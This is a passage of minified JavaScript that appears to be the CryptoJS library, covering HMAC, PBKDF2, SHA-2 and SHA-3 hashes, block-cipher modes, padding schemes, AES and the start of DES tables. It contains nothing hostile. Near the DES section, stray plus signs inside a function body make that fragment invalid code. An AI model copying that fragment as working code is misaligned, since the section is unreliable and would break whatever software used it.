this._hash.clone(), t } }); c.RIPEMD160 = f._createHelper(B), c.HmacRIPEMD160 = f._createHmacHelper(B) }(Math), function () { var r = t, e = r.lib, i = e.Base, n = r.enc, o = n.Utf8, s = r.algo; s.HMAC = i.extend({ init: function (t, r) { t = this._hasher = new t.init, "string" == typeof r && (r = o.parse(r)); var e = t.blockSize, i = 4 * e; r.sigBytes > i && (r = t.finalize(r)), r.clamp(); for (var n = this._oKey = r.clone(), s = this._iKey = r.clone(), a = n.words, c = s.words, h = 0; h < e; h++)a[h] ^= 1549556828, c[h] ^= 909522486; n.sigBytes = s.sigBytes = i, this.reset() }, reset: function () { var t = this._hasher; t.reset(), t.update(this._iKey) }, update: function (t) { return this._hasher.update(t), this }, finalize: function (t) { var r = this._hasher, e = r.finalize(t); r.reset(); var i = r.finalize(this._oKey.clone().concat(e)); return i } }) }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.SHA1, a = o.HMAC, c = o.PBKDF2 = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = a.create(e.hasher, t), o = n.create(), s = n.create([1]), c = o.words, h = s.words, l = e.keySize, f = e.iterations; c.length < l;) { var u = i.update(r).finalize(s); i.reset(); for (var d = u.words, v = d.length, p = u, _ = 1; _ < f; _++) { p = i.finalize(p), i.reset(); for (var y = p.words, g = 0; g < v; g++)d[g] ^= y[g] } o.concat(u), h[0]++ } return o.sigBytes = 4 * l, o } }); r.PBKDF2 = function (t, r, e) { return c.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.MD5, a = o.EvpKDF = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = e.hasher.create(), o = n.create(), s = o.words, a = e.keySize, c = e.iterations; s.length < a;) { h && i.update(h); var h = i.update(t).finalize(r); i.reset(); for (var l = 1; l < c; l++)h = i.finalize(h), i.reset(); o.concat(h) } return o.sigBytes = 4 * a, o } }); r.EvpKDF = function (t, r, e) { return a.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.WordArray, n = r.algo, o = n.SHA256, s = n.SHA224 = o.extend({ _doReset: function () { this._hash = new i.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) }, _doFinalize: function () { var t = o._doFinalize.call(this); return t.sigBytes -= 4, t } }); r.SHA224 = o._createHelper(s), r.HmacSHA224 = o._createHmacHelper(s) }(), function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = e.x64 = {}; s.Word = n.extend({ init: function (t, r) { this.high = t, this.low = r } }), s.WordArray = n.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 8 * t.length }, toX32: function () { for (var t = this.words, r = t.length, e = [], i = 0; i < r; i++) { var n = t[i]; e.push(n.high), e.push(n.low) } return o.create(e, this.sigBytes) }, clone: function () { for (var t = n.clone.call(this), r = t.words = this.words.slice(0), e = r.length, i = 0; i < e; i++)r[i] = r[i].clone(); return t } }) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.x64, a = s.Word, c = e.algo, h = [], l = [], f = []; !function () { for (var t = 1, r = 0, e = 0; e < 24; e++) { h[t + 5 * r] = (e + 1) * (e + 2) / 2 % 64; var i = r % 5, n = (2 * t + 3 * r) % 5; t = i, r = n } for (var t = 0; t < 5; t++)for (var r = 0; r < 5; r++)l[t + 5 * r] = r + (2 * t + 3 * r) % 5 * 5; for (var o = 1, s = 0; s < 24; s++) { for (var c = 0, u = 0, d = 0; d < 7; d++) { if (1 & o) { var v = (1 << d) - 1; v < 32 ? u ^= 1 << v : c ^= 1 << v - 32 } 128 & o ? o = o << 1 ^ 113 : o <<= 1 } f[s] = a.create(c, u) } }(); var u = []; !function () { for (var t = 0; t < 25; t++)u[t] = a.create() }(); var d = c.SHA3 = o.extend({ cfg: o.cfg.extend({ outputLength: 512 }), _doReset: function () { for (var t = this._state = [], r = 0; r < 25; r++)t[r] = new a.init; this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32 }, _doProcessBlock: function (t, r) { for (var e = this._state, i = this.blockSize / 2, n = 0; n < i; n++) { var o = t[r + 2 * n], s = t[r + 2 * n + 1]; o = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), s = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8); var a = e[n]; a.high ^= s, a.low ^= o } for (var c = 0; c < 24; c++) { for (var d = 0; d < 5; d++) { for (var v = 0, p = 0, _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; v ^= a.high, p ^= a.low } var y = u[d]; y.high = v, y.low = p } for (var d = 0; d < 5; d++)for (var g = u[(d + 4) % 5], B = u[(d + 1) % 5], w = B.high, k = B.low, v = g.high ^ (w << 1 | k >>> 31), p = g.low ^ (k << 1 | w >>> 31), _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; a.high ^= v, a.low ^= p } for (var S = 1; S < 25; S++) { var a = e[S], m = a.high, x = a.low, b = h[S]; if (b < 32) var v = m << b | x >>> 32 - b, p = x << b | m >>> 32 - b; else var v = x << b - 32 | m >>> 64 - b, p = m << b - 32 | x >>> 64 - b; var H = u[l[S]]; H.high = v, H.low = p } var z = u[0], A = e[0]; z.high = A.high, z.low = A.low; for (var d = 0; d < 5; d++)for (var _ = 0; _ < 5; _++) { var S = d + 5 * _, a = e[S], C = u[S], D = u[(d + 1) % 5 + 5 * _], R = u[(d + 2) % 5 + 5 * _]; a.high = C.high ^ ~D.high & R.high, a.low = C.low ^ ~D.low & R.low } var a = e[0], E = f[c]; a.high ^= E.high, a.low ^= E.low } }, _doFinalize: function () { var t = this._data, e = t.words, i = (8 * this._nDataBytes, 8 * t.sigBytes), o = 32 * this.blockSize; e[i >>> 5] |= 1 << 24 - i % 32, e[(r.ceil((i + 1) / o) * o >>> 5) - 1] |= 128, t.sigBytes = 4 * e.length, this._process(); for (var s = this._state, a = this.cfg.outputLength / 8, c = a / 8, h = [], l = 0; l < c; l++) { var f = s[l], u = f.high, d = f.low; u = 16711935 & (u << 8 | u >>> 24) | 4278255360 & (u << 24 | u >>> 8), d = 16711935 & (d << 8 | d >>> 24) | 4278255360 & (d << 24 | d >>> 8), h.push(d), h.push(u) } return new n.init(h, a) }, clone: function () { for (var t = o.clone.call(this), r = t._state = this._state.slice(0), e = 0; e < 25; e++)r[e] = r[e].clone(); return t } }); e.SHA3 = o._createHelper(d), e.HmacSHA3 = o._createHmacHelper(d) }(Math), function () { function r() { return s.create.apply(s, arguments) } var e = t, i = e.lib, n = i.Hasher, o = e.x64, s = o.Word, a = o.WordArray, c = e.algo, h = [r(1116352408, 3609767458), r(1899447441, 602891725), r(3049323471, 3964484399), r(3921009573, 2173295548), r(961987163, 4081628472), r(1508970993, 3053834265), r(2453635748, 2937671579), r(2870763221, 3664609560), r(3624381080, 2734883394), r(310598401, 1164996542), r(607225278, 1323610764), r(1426881987, 3590304994), r(1925078388, 4068182383), r(2162078206, 991336113), r(2614888103, 633803317), r(3248222580, 3479774868), r(3835390401, 2666613458), r(4022224774, 944711139), r(264347078, 2341262773), r(604807628, 2007800933), r(770255983, 1495990901), r(1249150122, 1856431235), r(1555081692, 3175218132), r(1996064986, 2198950837), r(2554220882, 3999719339), r(2821834349, 766784016), r(2952996808, 2566594879), r(3210313671, 3203337956), r(3336571891, 1034457026), r(3584528711, 2466948901), r(113926993, 3758326383), r(338241895, 168717936), r(666307205, 1188179964), r(773529912, 1546045734), r(1294757372, 1522805485), r(1396182291, 2643833823), r(1695183700, 2343527390), r(1986661051, 1014477480), r(2177026350, 1206759142), r(2456956037, 344077627), r(2730485921, 1290863460), r(2820302411, 3158454273), r(3259730800, 3505952657), r(3345764771, 106217008), r(3516065817, 3606008344), r(3600352804, 1432725776), r(4094571909, 1467031594), r(275423344, 851169720), r(430227734, 3100823752), r(506948616, 1363258195), r(659060556, 3750685593), r(883997877, 3785050280), r(958139571, 3318307427), r(1322822218, 3812723403), r(1537002063, 2003034995), r(1747873779, 3602036899), r(1955562222, 1575990012), r(2024104815, 1125592928), r(2227730452, 2716904306), r(2361852424, 442776044), r(2428436474, 593698344), r(2756734187, 3733110249), r(3204031479, 2999351573), r(3329325298, 3815920427), r(3391569614, 3928383900), r(3515267271, 566280711), r(3940187606, 3454069534), r(4118630271, 4000239992), r(116418474, 1914138554), r(174292421, 2731055270), r(289380356, 3203993006), r(460393269, 320620315), r(685471733, 587496836), r(852142971, 1086792851), r(1017036298, 365543100), r(1126000580, 2618297676), r(1288033470, 3409855158), r(1501505948, 4234509866), r(1607167915, 987167468), r(1816402316, 1246189591)], l = []; !function () { for (var t = 0; t < 80; t++)l[t] = r() }(); var f = c.SHA512 = n.extend({ _doReset: function () { this._hash = new a.init([new s.init(1779033703, 4089235720), new s.init(3144134277, 2227873595), new s.init(1013904242, 4271175723), new s.init(2773480762, 1595750129), new s.init(1359893119, 2917565137), new s.init(2600822924, 725511199), new s.init(528734635, 4215389547), new s.init(1541459225, 327033209)]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], c = e[5], f = e[6], u = e[7], d = i.high, v = i.low, p = n.high, _ = n.low, y = o.high, g = o.low, B = s.high, w = s.low, k = a.high, S = a.low, m = c.high, x = c.low, b = f.high, H = f.low, z = u.high, A = u.low, C = d, D = v, R = p, E = _, M = y, F = g, P = B, W = w, O = k, U = S, I = m, K = x, X = b, L = H, j = z, N = A, T = 0; T < 80; T++) { var Z = l[T]; if (T < 16) var q = Z.high = 0 | t[r + 2 * T], G = Z.low = 0 | t[r + 2 * T + 1]; else { var J = l[T - 15], $ = J.high, Q = J.low, V = ($ >>> 1 | Q << 31) ^ ($ >>> 8 | Q << 24) ^ $ >>> 7, Y = (Q >>> 1 | $ << 31) ^ (Q >>> 8 | $ << 24) ^ (Q >>> 7 | $ << 25), tt = l[T - 2], rt = tt.high, et = tt.low, it = (rt >>> 19 | et << 13) ^ (rt << 3 | et >>> 29) ^ rt >>> 6, nt = (et >>> 19 | rt << 13) ^ (et << 3 | rt >>> 29) ^ (et >>> 6 | rt << 26), ot = l[T - 7], st = ot.high, at = ot.low, ct = l[T - 16], ht = ct.high, lt = ct.low, G = Y + at, q = V + st + (G >>> 0 < Y >>> 0 ? 1 : 0), G = G + nt, q = q + it + (G >>> 0 < nt >>> 0 ? 1 : 0), G = G + lt, q = q + ht + (G >>> 0 < lt >>> 0 ? 1 : 0); Z.high = q, Z.low = G } var ft = O & I ^ ~O & X, ut = U & K ^ ~U & L, dt = C & R ^ C & M ^ R & M, vt = D & E ^ D & F ^ E & F, pt = (C >>> 28 | D << 4) ^ (C << 30 | D >>> 2) ^ (C << 25 | D >>> 7), _t = (D >>> 28 | C << 4) ^ (D << 30 | C >>> 2) ^ (D << 25 | C >>> 7), yt = (O >>> 14 | U << 18) ^ (O >>> 18 | U << 14) ^ (O << 23 | U >>> 9), gt = (U >>> 14 | O << 18) ^ (U >>> 18 | O << 14) ^ (U << 23 | O >>> 9), Bt = h[T], wt = Bt.high, kt = Bt.low, St = N + gt, mt = j + yt + (St >>> 0 < N >>> 0 ? 1 : 0), St = St + ut, mt = mt + ft + (St >>> 0 < ut >>> 0 ? 1 : 0), St = St + kt, mt = mt + wt + (St >>> 0 < kt >>> 0 ? 1 : 0), St = St + G, mt = mt + q + (St >>> 0 < G >>> 0 ? 1 : 0), xt = _t + vt, bt = pt + dt + (xt >>> 0 < _t >>> 0 ? 1 : 0); j = X, N = L, X = I, L = K, I = O, K = U, U = W + St | 0, O = P + mt + (U >>> 0 < W >>> 0 ? 1 : 0) | 0, P = M, W = F, M = R, F = E, R = C, E = D, D = St + xt | 0, C = mt + bt + (D >>> 0 < St >>> 0 ? 1 : 0) | 0 } v = i.low = v + D, i.high = d + C + (v >>> 0 < D >>> 0 ? 1 : 0), _ = n.low = _ + E, n.high = p + R + (_ >>> 0 < E >>> 0 ? 1 : 0), g = o.low = g + F, o.high = y + M + (g >>> 0 < F >>> 0 ? 1 : 0), w = s.low = w + W, s.high = B + P + (w >>> 0 < W >>> 0 ? 1 : 0), S = a.low = S + U, a.high = k + O + (S >>> 0 < U >>> 0 ? 1 : 0), x = c.low = x + K, c.high = m + I + (x >>> 0 < K >>> 0 ? 1 : 0), H = f.low = H + L, f.high = b + X + (H >>> 0 < L >>> 0 ? 1 : 0), A = u.low = A + N, u.high = z + j + (A >>> 0 < N >>> 0 ? 1 : 0) }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 128 >>> 10 << 5) + 30] = Math.floor(e / 4294967296), r[(i + 128 >>> 10 << 5) + 31] = e, t.sigBytes = 4 * r.length, this._process(); var n = this._hash.toX32(); return n }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t }, blockSize: 32 }); e.SHA512 = n._createHelper(f), e.HmacSHA512 = n._createHmacHelper(f) }(), function () { var r = t, e = r.x64, i = e.Word, n = e.WordArray, o = r.algo, s = o.SHA512, a = o.SHA384 = s.extend({ _doReset: function () { this._hash = new n.init([new i.init(3418070365, 3238371032), new i.init(1654270250, 914150663), new i.init(2438529370, 812702999), new i.init(355462360, 4144912697), new i.init(1731405415, 4290775857), new i.init(2394180231, 1750603025), new i.init(3675008525, 1694076839), new i.init(1203062813, 3204075428)]) }, _doFinalize: function () { var t = s._doFinalize.call(this); return t.sigBytes -= 16, t } }); r.SHA384 = s._createHelper(a), r.HmacSHA384 = s._createHmacHelper(a) }(), t.lib.Cipher || function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = i.BufferedBlockAlgorithm, a = e.enc, c = (a.Utf8, a.Base64), h = e.algo, l = h.EvpKDF, f = i.Cipher = s.extend({ cfg: n.extend(), createEncryptor: function (t, r) { return this.create(this._ENC_XFORM_MODE, t, r) }, createDecryptor: function (t, r) { return this.create(this._DEC_XFORM_MODE, t, r) }, init: function (t, r, e) { this.cfg = this.cfg.extend(e), this._xformMode = t, this._key = r, this.reset() }, reset: function () { s.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function () { function t(t) { return "string" == typeof t ? m : w } return function (r) { return { encrypt: function (e, i, n) { return t(i).encrypt(r, e, i, n) }, decrypt: function (e, i, n) { return t(i).decrypt(r, e, i, n) } } } }() }), u = (i.StreamCipher = f.extend({ _doFinalize: function () { var t = this._process(!0); return t }, blockSize: 1 }), e.mode = {}), d = i.BlockCipherMode = n.extend({ createEncryptor: function (t, r) { return this.Encryptor.create(t, r) }, createDecryptor: function (t, r) { return this.Decryptor.create(t, r) }, init: function (t, r) { this._cipher = t, this._iv = r } }), v = u.CBC = function () { function t(t, e, i) { var n = this._iv; if (n) { var o = n; this._iv = r } else var o = this._prevBlock; for (var s = 0; s < i; s++)t[e + s] ^= o[s] } var e = d.extend(); return e.Encryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize; t.call(this, r, e, n), i.encryptBlock(r, e), this._prevBlock = r.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize, o = r.slice(e, e + n); i.decryptBlock(r, e), t.call(this, r, e, n), this._prevBlock = o } }), e }(), p = e.pad = {}, _ = p.Pkcs7 = { pad: function (t, r) { for (var e = 4 * r, i = e - t.sigBytes % e, n = i << 24 | i << 16 | i << 8 | i, s = [], a = 0; a < i; a += 4)s.push(n); var c = o.create(s, i); t.concat(c) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, y = (i.BlockCipher = f.extend({ cfg: f.cfg.extend({ mode: v, padding: _ }), reset: function () { f.reset.call(this); var t = this.cfg, r = t.iv, e = t.mode; if (this._xformMode == this._ENC_XFORM_MODE) var i = e.createEncryptor; else { var i = e.createDecryptor; this._minBufferSize = 1 } this._mode && this._mode.__creator == i ? this._mode.init(this, r && r.words) : (this._mode = i.call(e, this, r && r.words), this._mode.__creator = i) }, _doProcessBlock: function (t, r) { this._mode.processBlock(t, r) }, _doFinalize: function () { var t = this.cfg.padding; if (this._xformMode == this._ENC_XFORM_MODE) { t.pad(this._data, this.blockSize); var r = this._process(!0) } else { var r = this._process(!0); t.unpad(r) } return r }, blockSize: 4 }), i.CipherParams = n.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), g = e.format = {}, B = g.OpenSSL = { stringify: function (t) { var r = t.ciphertext, e = t.salt; if (e) var i = o.create([1398893684, 1701076831]).concat(e).concat(r); else var i = r; return i.toString(c) }, parse: function (t) { var r = c.parse(t), e = r.words; if (1398893684 == e[0] && 1701076831 == e[1]) { var i = o.create(e.slice(2, 4)); e.splice(0, 4), r.sigBytes -= 16 } return y.create({ ciphertext: r, salt: i }) } }, w = i.SerializableCipher = n.extend({ cfg: n.extend({ format: B }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = t.createEncryptor(e, i), o = n.finalize(r), s = n.cfg; return y.create({ ciphertext: o, key: e, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format }) }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = t.createDecryptor(e, i).finalize(r.ciphertext); return n }, _parse: function (t, r) { return "string" == typeof t ? r.parse(t, this) : t } }), k = e.kdf = {}, S = k.OpenSSL = { execute: function (t, r, e, i) { i || (i = o.random(8)); var n = l.create({ keySize: r + e }).compute(t, i), s = o.create(n.words.slice(r), 4 * e); return n.sigBytes = 4 * r, y.create({ key: n, iv: s, salt: i }) } }, m = i.PasswordBasedCipher = w.extend({ cfg: w.cfg.extend({ kdf: S }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = i.kdf.execute(e, t.keySize, t.ivSize); i.iv = n.iv; var o = w.encrypt.call(this, t, r, n.key, i); return o.mixIn(n), o }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = i.kdf.execute(e, t.keySize, t.ivSize, r.salt); i.iv = n.iv; var o = w.decrypt.call(this, t, r, n.key, i); return o } }) }(), t.mode.CFB = function () { function r(t, r, e, i) { var n = this._iv; if (n) { var o = n.slice(0); this._iv = void 0 } else var o = this._prevBlock; i.encryptBlock(o, 0); for (var s = 0; s < e; s++)t[r + s] ^= o[s] } var e = t.lib.BlockCipherMode.extend(); return e.Encryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize; r.call(this, t, e, n, i), this._prevBlock = t.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize, o = t.slice(e, e + n); r.call(this, t, e, n, i), this._prevBlock = o } }), e }(), t.mode.ECB = function () { var r = t.lib.BlockCipherMode.extend(); return r.Encryptor = r.extend({ processBlock: function (t, r) { this._cipher.encryptBlock(t, r) } }), r.Decryptor = r.extend({ processBlock: function (t, r) { this._cipher.decryptBlock(t, r) } }), r }(), t.pad.AnsiX923 = { pad: function (t, r) { var e = t.sigBytes, i = 4 * r, n = i - e % i, o = e + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso10126 = { pad: function (r, e) { var i = 4 * e, n = i - r.sigBytes % i; r.concat(t.lib.WordArray.random(n - 1)).concat(t.lib.WordArray.create([n << 24], 1)) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso97971 = { pad: function (r, e) { r.concat(t.lib.WordArray.create([2147483648], 1)), t.pad.ZeroPadding.pad(r, e) }, unpad: function (r) { t.pad.ZeroPadding.unpad(r), r.sigBytes-- } }, t.mode.OFB = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), e.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[r + s] ^= o[s] } }); return r.Decryptor = e, r }(), t.pad.NoPadding = { pad: function () { }, unpad: function () { } }, function (r) { var e = t, i = e.lib, n = i.CipherParams, o = e.enc, s = o.Hex, a = e.format; a.Hex = { stringify: function (t) { return t.ciphertext.toString(s) }, parse: function (t) { var r = s.parse(t); return n.create({ ciphertext: r }) } } }(), function () { var r = t, e = r.lib, i = e.BlockCipher, n = r.algo, o = [], s = [], a = [], c = [], h = [], l = [], f = [], u = [], d = [], v = []; !function () { for (var t = [], r = 0; r < 256; r++)r < 128 ? t[r] = r << 1 : t[r] = r << 1 ^ 283; for (var e = 0, i = 0, r = 0; r < 256; r++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, o[e] = n, s[n] = e; var p = t[e], _ = t[p], y = t[_], g = 257 * t[n] ^ 16843008 * n; a[e] = g << 24 | g >>> 8, c[e] = g << 16 | g >>> 16, h[e] = g << 8 | g >>> 24, l[e] = g; var g = 16843009 * y ^ 65537 * _ ^ 257 * p ^ 16843008 * e; f[n] = g << 24 | g >>> 8, u[n] = g << 16 | g >>> 16, d[n] = g << 8 | g >>> 24, v[n] = g, e ? (e = p ^ t[t[t[y ^ p]]], i ^= t[t[i]]) : e = i = 1 } }(); var p = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], _ = n.AES = i.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, r = t.words, e = t.sigBytes / 4, i = this._nRounds = e + 6, n = 4 * (i + 1), s = this._keySchedule = [], a = 0; a < n; a++)if (a < e) s[a] = r[a]; else { var c = s[a - 1]; a % e ? e > 6 && a % e == 4 && (c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c]) : (c = c << 8 | c >>> 24, c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c], c ^= p[a / e | 0] << 24), s[a] = s[a - e] ^ c } for (var h = this._invKeySchedule = [], l = 0; l < n; l++) { var a = n - l; if (l % 4) var c = s[a]; else var c = s[a - 4]; l < 4 || a <= 4 ? h[l] = c : h[l] = f[o[c >>> 24]] ^ u[o[c >>> 16 & 255]] ^ d[o[c >>> 8 & 255]] ^ v[o[255 & c]] } } }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._keySchedule, a, c, h, l, o) }, decryptBlock: function (t, r) { var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e, this._doCryptBlock(t, r, this._invKeySchedule, f, u, d, v, s); var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e }, _doCryptBlock: function (t, r, e, i, n, o, s, a) { for (var c = this._nRounds, h = t[r] ^ e[0], l = t[r + 1] ^ e[1], f = t[r + 2] ^ e[2], u = t[r + 3] ^ e[3], d = 4, v = 1; v < c; v++) { var p = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & u] ^ e[d++], _ = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[u >>> 8 & 255] ^ s[255 & h] ^ e[d++], y = i[f >>> 24] ^ n[u >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ e[d++], g = i[u >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ e[d++]; h = p, l = _, f = y, u = g } var p = (a[h >>> 24] << 24 | a[l >>> 16 & 255] << 16 | a[f >>> 8 & 255] << 8 | a[255 & u]) ^ e[d++], _ = (a[l >>> 24] << 24 | a[f >>> 16 & 255] << 16 | a[u >>> 8 & 255] << 8 | a[255 & h]) ^ e[d++], y = (a[f >>> 24] << 24 | a[u >>> 16 & 255] << 16 | a[h >>> 8 & 255] << 8 | a[255 & l]) ^ e[d++], g = (a[u >>> 24] << 24 | a[h >>> 16 & 255] << 16 | a[l >>> 8 & 255] << 8 | a[255 & f]) ^ e[d++]; t[r] = p, t[r + 1] = _, t[r + 2] = y, t[r + 3] = g }, keySize: 8 }); r.AES = i._createHelper(_) }(), function () { + function r(t, r) { var e = (this._lBlock >>> t ^ this._rBlock) & r; this._rBlock ^= e, this._lBlock ^= e << t } function e(t, r) { + var e = (this._rBlock >>> t ^ this._lBlock) & r; this._lBlock ^= e, this._rBlock ^= e << t; + } var i = t, n = i.lib, o = n.WordArray, s = n.BlockCipher, a = i.algo, c = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], h = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], l = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], f = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 